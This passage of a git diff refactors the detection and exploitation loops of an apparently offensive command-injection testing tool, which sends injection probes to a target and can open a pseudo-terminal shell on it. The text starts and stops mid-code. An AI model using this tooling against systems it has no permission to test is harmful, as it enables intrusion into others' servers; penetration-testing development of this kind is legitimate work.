so the model can wait + # until the first command actually needs it. + if not (settings.LOAD_SESSION and settings.INJECTION_TECHNIQUE.TIME_BASED in settings.STORED_TECHNIQUES): + checks.warm_up_response_baseline(url, http_request_method) return timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) def _run_file_based(): diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 3f000dfdef..d198465092 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -41,6 +41,16 @@ def _prioritize(candidates, confirmed_value): return [confirmed_value] + [c for c in candidates if c != confirmed_value] return candidates +""" +Every (whitespace, prefix, suffix, separator) combination to try, in order. +""" +def _boundary_combinations(whitespaces, prefixes, suffixes, separators): + for whitespace in whitespaces: + for prefix in prefixes: + for suffix in suffixes: + for separator in separators: + yield whitespace, prefix, suffix, separator + """ Put a boundary combo another technique already confirmed for this parameter first. """ @@ -246,7 +256,8 @@ def execute_cmd(cmd): shell = "".join(str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - if shell and not menu.options.ignore_session: + # Storing a known-incomplete result would serve it back as if it were the real output. + if shell and not menu.options.ignore_session and not settings.INCOMPLETE_OUTPUT: session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = _stored_shell @@ -314,9 +325,15 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim resuming_stored = settings.LOAD_SESSION and technique in settings.STORED_TECHNIQUES if settings.THREADS > 1 and settings.THREADED_TIME_RETRIEVAL_CHOICE is None and not resuming_stored: - msg = "Multi-threading is considered unsafe for time-related data retrieval. " - msg += "Do you want to continue using threads anyway? [Y/n] " - settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES + if not checks.target_serves_concurrently(url, http_request_method, settings.THREADS): + warn_msg = "The target serves requests one at a time, so concurrent timing requests would " + warn_msg += "queue and corrupt the retrieved data. Continuing with a single thread." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.THREADED_TIME_RETRIEVAL_CHOICE = False + else: + msg = "Multi-threading is considered unsafe for time-related data retrieval. " + msg += "Do you want to continue using threads anyway? [Y/n] " + settings.THREADED_TIME_RETRIEVAL_CHOICE = common.read_input(msg, default="Y", check_batch=True) in settings.CHOICE_YES counter = 1 num_of_chars = 1 @@ -356,214 +373,210 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim i = 0 total = len(whitespaces) * len(prefixes) * len(suffixes) * len(separators) - for whitespace in whitespaces: - for prefix in prefixes: - bare_prefix = prefix - for suffix in suffixes: - bare_suffix = suffix - for separator in separators: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available for this specific technique. - exec_time_statistic = [] - resumed = False - stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None - if stored_row: - try: - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) - url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) - # Re-apply the minimum safe delay to the stored session. - if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): - timesec = max(timesec, settings.MIN_SAFE_TIMESEC) + for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators): + bare_prefix = prefix + bare_suffix = suffix + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available for this specific technique. + exec_time_statistic = [] + resumed = False + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) + # Re-apply the minimum safe delay to the stored session. + if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): + timesec = max(timesec, settings.MIN_SAFE_TIMESEC) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + settings.TIME_BASED_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + settings.TEMPFILE_BASED_STATE = True + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) + cmd = shell = output = "" + checks.check_for_stored_tamper(payload) + + # Trust the stored session outright. + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + possibly_vulnerable = True + resumed = True + except TypeError: + checks.error_loading_session_file() + + if not resumed: + num_of_chars = num_of_chars + 1 + # Retry the same separator once with a fresh TAG before moving to the next one. + for _false_positive_retry in range(settings.FALSE_POSITIVE_RETRIES): + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + # Change TAG on every request to prevent false-positive resutls. + TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) + # The output file for file-based injection technique. + interpreter = menu.options.interpreter + tag_length = len(TAG) + 4 + OUTPUT_TEXTFILE = "" # only used by TEMP_FILE_BASED, set just below + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + for output_length in range(1, int(tag_length)): + try: + # Tempfile-based decision payload (check if host is vulnerable). + if interpreter: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - settings.TIME_BASED_STATE = True - elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - settings.TEMPFILE_BASED_STATE = True - OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) - cmd = shell = output = "" - checks.check_for_stored_tamper(payload) - - # Trust the stored session outright. - settings.FOUND_EXEC_TIME = exec_time - settings.FOUND_DIFF = exec_time - timesec - possibly_vulnerable = True - resumed = True - except TypeError: - checks.error_loading_session_file() - - if not resumed: - num_of_chars = num_of_chars + 1 - # Retry the same separator once with a fresh TAG before moving to the next one. - for _false_positive_retry in range(settings.FALSE_POSITIVE_RETRIES): - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - # Change TAG on every request to prevent false-positive resutls. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - # The output file for file-based injection technique. - interpreter = menu.options.interpreter - tag_length = len(TAG) + 4 - OUTPUT_TEXTFILE = "" # only used by TEMP_FILE_BASED, set just below - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) - for output_length in range(1, int(tag_length)): - try: - # Tempfile-based decision payload (check if host is vulnerable). - if interpreter: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method) - else: - payload = payloads.decision_alter_interpreter(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + payload = payloads.decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision_alter_interpreter(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) + else: + payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + + if not payload: + break + + vuln_parameter = "" + exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + + # Statistical analysis in time responses. + exec_time_statistic.append(exec_time) + if not (num_of_chars >= total and no_result == True): + if checks.time_related_shell(url_time_response, exec_time, timesec): + # Time related false positive fixation. + false_positive_fixation = False + if len(TAG) == output_length: + + statistical_anomaly = True + first_few = exec_time_statistic[0:5] + if first_few and max(first_few) - min(first_few) <= max(settings.MIN_VALID_DELAYED_RESPONSE, timesec * 0.5): + if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: + statistical_anomaly = False + exec_time_statistic = [] + + if timesec <= exec_time and not statistical_anomaly: + false_positive_fixation = True else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) + false_positive_warning = True + + # Identified false positive warning message. + if false_positive_warning: + timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) + + checks.injection_process(injection_type, technique, i=num_of_chars, total=total) + + # Check if false positive fixation is True. + if false_positive_fixation: + false_positive_fixation = False + settings.FOUND_EXEC_TIME = exec_time + settings.FOUND_DIFF = exec_time - timesec + if false_positive_warning: + time.sleep(timesec) + randv1 = random.randrange(0, 4) + randv2 = random.randrange(1, 5) + randvcalc = randv1 + randv2 + + if settings.TARGET_OS == settings.OS.WINDOWS: + if interpreter: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: - payload = payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - - if not payload: - break - - vuln_parameter = "" - exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - - # Statistical analysis in time responses. - exec_time_statistic.append(exec_time) - if not (num_of_chars >= total and no_result == True): - if checks.time_related_shell(url_time_response, exec_time, timesec): - # Time related false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - statistical_anomaly = True - first_few = exec_time_statistic[0:5] - if first_few and max(first_few) - min(first_few) <= max(settings.MIN_VALID_DELAYED_RESPONSE, timesec * 0.5): - if max(xrange(len(exec_time_statistic)), key=lambda x: exec_time_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - exec_time_statistic = [] - - if timesec <= exec_time and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True - - # Identified false positive warning message. - if false_positive_warning: - timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) - - checks.injection_process(injection_type, technique, i=num_of_chars, total=total) - - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_EXEC_TIME = exec_time - settings.FOUND_DIFF = exec_time - timesec - if false_positive_warning: - time.sleep(timesec) - randv1 = random.randrange(0, 4) - randv2 = random.randrange(1, 5) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == settings.OS.WINDOWS: - if interpreter: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - rand_num = randv1 + randv2 - cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" - else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" - else: - cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" - - # Set the original delay time - original_exec_time = exec_time - - # Check for false positive resutls - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) - else: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) - - if checks.time_related_shell(url_time_response, exec_time, timesec): - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - exec_time_statistic = 0 - else: - break - # False positive - else: - checks.injection_process(injection_type, technique, i=num_of_chars, total=total) - continue + rand_num = randv1 + randv2 + cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" else: - # Feed the baseline model even during detection, not just later phases. - checks.record_baseline_response_time(exec_time) - checks.injection_process(injection_type, technique, i=num_of_chars, total=total) - continue - - except KeyboardInterrupt: - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - # Always raises - propagates out to controller.injection_process(). - checks.handle_detection_interrupt(filename, url) - - except SystemExit: - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - raise + cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" - except EOFError: - checks.EOFError_err_msg() - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - raise + # Set the original delay time + original_exec_time = exec_time - except Exception: - if num_of_chars >= total: - if no_result == True: - checks.injection_process(injection_type, technique, done=True) - else: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - break + # Check for false positive resutls + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) + else: + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) - if possibly_vulnerable: - break - # Yaw, got shellz! - # Do some magic tricks! - if checks.time_related_shell(url_time_response, exec_time, timesec): - if (len(TAG) == output_length) and (possibly_vulnerable == True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL): - found = True - no_result = False - # Export session - if not resumed: - shell = "" - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) - session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) + if checks.time_related_shell(url_time_response, exec_time, timesec): + if str(output) == str(randvcalc) and len(TAG) == output_length: + possibly_vulnerable = True + exec_time_statistic = 0 + else: + break + # False positive + else: + checks.injection_process(injection_type, technique, i=num_of_chars, total=total) + continue else: - whitespace = settings.WHITESPACES[0] - if not resumed: - settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - OUTPUT_TEXTFILE = "" - url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix) - # Registered here, run once at quit(). - _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) - _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) - if menu.options.os_cmd: - def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique, output=output): - if settings.OS_CMD_DONE: - return - settings.OS_CMD_DONE = True - enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) - _register_post_detection_action(_run_os_cmd) - # Pseudo-Terminal shell - if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + # Feed the baseline model even during detection, not just later phases. + checks.record_baseline_response_time(exec_time) + checks.injection_process(injection_type, technique, i=num_of_chars, total=total) continue + + except KeyboardInterrupt: + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + # Always raises - propagates out to controller.injection_process(). + checks.handle_detection_interrupt(filename, url) + + except SystemExit: + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + raise + + except EOFError: + checks.EOFError_err_msg() + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + raise + + except Exception: + if num_of_chars >= total: + if no_result == True: + checks.injection_process(injection_type, technique, done=True) else: - return + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + break + + if possibly_vulnerable: + break + # Yaw, got shellz! + # Do some magic tricks! + if checks.time_related_shell(url_time_response, exec_time, timesec): + if (len(TAG) == output_length) and (possibly_vulnerable == True or resumed and int(is_vulnerable) == settings.INJECTION_LEVEL): + found = True + no_result = False + # Export session + if not resumed: + shell = "" + checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, counter, checks.finding_title(separator, whitespace, bare_prefix, bare_suffix)) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) + else: + whitespace = settings.WHITESPACES[0] + if not resumed: + settings.CONFIRMED_BOUNDARY[settings.CHECKING_PARAMETER] = (bare_prefix, bare_suffix, separator, whitespace) + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + OUTPUT_TEXTFILE = "" + url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix) + # Registered here, run once at quit(). + _register_post_detection_action(lambda: enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + _register_post_detection_action(lambda: file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique)) + if menu.options.os_cmd: + def _run_os_cmd(separator=separator, maxlen=maxlen, TAG=TAG, cmd=menu.options.os_cmd, prefix=prefix, suffix=suffix, whitespace=whitespace, timesec=timesec, http_request_method=http_request_method, url=url, vuln_parameter=vuln_parameter, OUTPUT_TEXTFILE=OUTPUT_TEXTFILE, interpreter=interpreter, filename=filename, url_time_response=url_time_response, technique=technique, output=output): + if settings.OS_CMD_DONE: + return + settings.OS_CMD_DONE = True + enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and len(output) > 1: + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + _register_post_detection_action(_run_os_cmd) + # Pseudo-Terminal shell + if pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) == None: + continue + else: + return return exit_handler(no_result) @@ -619,268 +632,265 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) i = 0 total = len(whitespaces) * len(prefixes) * len(suffixes) * len(separators) - for whitespace in whitespaces: - for prefix in prefixes: - bare_prefix = prefix - for suffix in suffixes: - bare_suffix = suffix - for separator in separators: - if whitespace == settings.SINGLE_WHITESPACE: - whitespace = _urllib.parse.quote(whitespace) - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available for this specific technique. - resumed = False - stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None - if stored_row: - try: - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) - url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - settings.FILE_BASED_STATE = True - checks.check_for_stored_tamper(payload) - tmp_path = "" - OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) - if re.findall(settings.DIRECTORY_REGEX,payload): - filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] - settings.WEB_ROOT = os.path.dirname(filepath) - settings.CUSTOM_WEB_ROOT = True - tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - else: - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: - settings.CLASSIC_STATE = True - elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - settings.EVAL_BASED_STATE = True - checks.check_for_stored_tamper(payload) - resumed = True - except TypeError: - checks.error_loading_session_file() - - if not resumed: - i = i + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - # The output file for file-based injection technique. - OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators): + bare_prefix = prefix + bare_suffix = suffix + if whitespace == settings.SINGLE_WHITESPACE: + whitespace = _urllib.parse.quote(whitespace) + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + # If a previous session is available for this specific technique. + resumed = False + stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None + if stored_row: + try: + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + settings.FILE_BASED_STATE = True + checks.check_for_stored_tamper(payload) + tmp_path = "" + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG, prompt=False) + if re.findall(settings.DIRECTORY_REGEX,payload): + filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] + settings.WEB_ROOT = os.path.dirname(filepath) + settings.CUSTOM_WEB_ROOT = True + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) + elif technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + else: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + settings.CLASSIC_STATE = True + elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + settings.EVAL_BASED_STATE = True + checks.check_for_stored_tamper(payload) + resumed = True + except TypeError: + checks.error_loading_session_file() + + if not resumed: + i = i + 1 + # Check for bad combination of prefix and separator + combination = prefix + separator + if combination in settings.JUNK_COMBINATION: + prefix = "" + + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + # The output file for file-based injection technique. + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) + else: + randv1 = random.randrange(100) + randv2 = random.randrange(100) + randvcalc = randv1 + randv2 + + # Define alternative interpreter + interpreter = menu.options.interpreter + try: + # File-based decision payload (check if host is vulnerable). + if interpreter: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE) + else: + payload = payloads.decision_alter_interpreter(separator, TAG, randv1, randv2) + else: + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + payload = payloads.decision(separator, TAG, OUTPUT_TEXTFILE) + else: + # Classic decision payload (check if host is vulnerable). + payload = payloads.decision(separator, TAG, randv1, randv2) + + vuln_parameter = "" + response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + # Try target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate test results. + time.sleep(timesec) + shell = injector.injection_test_results(response, TAG, randvcalc, technique, payload) + done = bool(shell) or (no_result and i >= total) + checks.injection_process(injection_type, technique, done=done, i=i, total=total) + else: + try: + time.sleep(timesec) + output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + response = checks.get_response(output) + if type(response) is bool: + html_data = "" else: - randv1 = random.randrange(100) - randv2 = random.randrange(100) - randvcalc = randv1 + randv2 - - # Define alternative interpreter - interpreter = menu.options.interpreter - try: - # File-based decision payload (check if host is vulnerable). - if interpreter: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - payload = payloads.decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE) - else: - payload = payloads.decision_alter_interpreter(separator, TAG, randv1, randv2) - else: - if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - payload = payloads.decision(separator, TAG, OUTPUT_TEXTFILE) - else: - # Classic decision payload (check if host is vulnerable). - payload = payloads.decision(separator, TAG, randv1, randv2) - - vuln_parameter = "" - response, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate test results. - time.sleep(timesec) - shell = injector.injection_test_results(response, TAG, randvcalc, technique, payload) - done = bool(shell) or (no_result and i >= total) - checks.injection_process(injection_type, technique, done=done, i=i, total=total) - else: - try: - time.sleep(timesec) - output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) - response = checks.get_response(output) - if type(response) is bool: - html_data = "" - else: - html_data = checks.process_page_content(response, action="decode") - shell = re.findall(r"" + TAG + "", str(html_data)) - if len(shell) == 0 : - raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) + html_data = checks.process_page_content(response, action="decode") + shell = re.findall(r"" + TAG + "", str(html_data)) + if len(shell) == 0 : + raise _urllib.error.HTTPError(url, int(settings.NOT_FOUND_ERROR), 'Error', {}, None) + else: + if shell[0] == TAG: + checks.injection_process(injection_type, technique, done=True) + + except _urllib.error.HTTPError as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + if settings.CALL_TMP_BASED == True: + exit_loops = True + dest_dir = os.path.dirname(menu.options.file_dest.replace("\\", "/")) + tmp_path = checks.normalize_target_dir(dest_dir) + checks.tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + raise + # Show an error message, after N failed tries. + # Use the "/tmp/" directory for tempfile-based technique. + elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): + if i == total: + if checks.finalize(exit_loops, no_result, i, total, injection_type, technique, shell): + continue else: - if shell[0] == TAG: - checks.injection_process(injection_type, technique, done=True) - - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - if settings.CALL_TMP_BASED == True: - exit_loops = True - dest_dir = os.path.dirname(menu.options.file_dest.replace("\\", "/")) - tmp_path = checks.normalize_target_dir(dest_dir) - checks.tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - raise - # Show an error message, after N failed tries. - # Use the "/tmp/" directory for tempfile-based technique. - elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): - if i == total: - if 